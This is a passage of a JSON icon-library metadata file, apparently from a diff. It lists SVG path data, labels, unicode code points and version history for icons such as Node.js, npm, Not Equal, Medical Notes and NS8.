48-48V88c0-13.255-10.745-24-24-24zM56 400a8 8 0 0 1-8-8V144h16v248a8 8 0 0 1-8 8zm236-16H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm-208-96H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm0-96H140c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h360c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M552 64H88c-13.255 0-24 10.745-24 24v8H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h472c26.51 0 48-21.49 48-48V88c0-13.255-10.745-24-24-24zM56 400a8 8 0 0 1-8-8V144h16v248a8 8 0 0 1-8 8zm236-16H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm-208-96H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm0-96H140c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h360c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12z" + }, + "regular": { + "last_modified": 1628088634926, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v96c0 6.627 5.373 12 12 12zm28-80h80v40h-80v-40zm-40 140v-24c0-6.627 5.373-12 12-12h136c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H172c-6.627 0-12-5.373-12-12zm192 0v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0-144v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0 72v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v96c0 6.627 5.373 12 12 12zm28-80h80v40h-80v-40zm-40 140v-24c0-6.627 5.373-12 12-12h136c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H172c-6.627 0-12-5.373-12-12zm192 0v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0-144v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0 72v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "nimblr": { + "changes": [ + "5.1.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5a8", + "label": "Nimblr", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775905, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z" + } + }, + "free": [ + "brands" + ] + }, + "node": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f419", + "label": "Node.js", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861008, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z" + } + }, + "free": [ + "brands" + ] + }, + "node-js": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d3", + "label": "Node.js JS", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861008, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z" + } + }, + "free": [ + "brands" + ] + }, + "not-equal": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "arithmetic", + "compare", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f53e", + "label": "Not Equal", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635612, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 208c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32h-23.88l51.87-66.81c5.37-7.02 4.04-17.06-2.97-22.43L415.61 3.3c-7.02-5.38-17.06-4.04-22.44 2.97L311.09 112H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h204.56l-74.53 96H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h55.49l-51.87 66.81c-5.37 7.01-4.04 17.05 2.97 22.43L64 508.7c7.02 5.38 17.06 4.04 22.43-2.97L168.52 400H416c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32H243.05l74.53-96H416z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M416 208c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32h-23.88l51.87-66.81c5.37-7.02 4.04-17.06-2.97-22.43L415.61 3.3c-7.02-5.38-17.06-4.04-22.44 2.97L311.09 112H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h204.56l-74.53 96H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h55.49l-51.87 66.81c-5.37 7.01-4.04 17.05 2.97 22.43L64 508.7c7.02 5.38 17.06 4.04 22.43-2.97L168.52 400H416c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32H243.05l74.53-96H416z" + } + }, + "free": [ + "solid" + ] + }, + "notes-medical": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "clipboard", + "doctor", + "ehr", + "health", + "history", + "records" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f481", + "label": "Medical Notes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635613, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm96 304c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm0-192c0 4.4-3.6 8-8 8H104c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm96 304c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm0-192c0 4.4-3.6 8-8 8H104c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16z" + } + }, + "free": [ + "solid" + ] + }, + "npm": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d4", + "label": "npm", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861008, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z" + } + }, + "free": [ + "brands" + ] + }, + "ns8": { + "changes": [ + "5.0.0", + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d5", + "label": "NS8", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785924, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10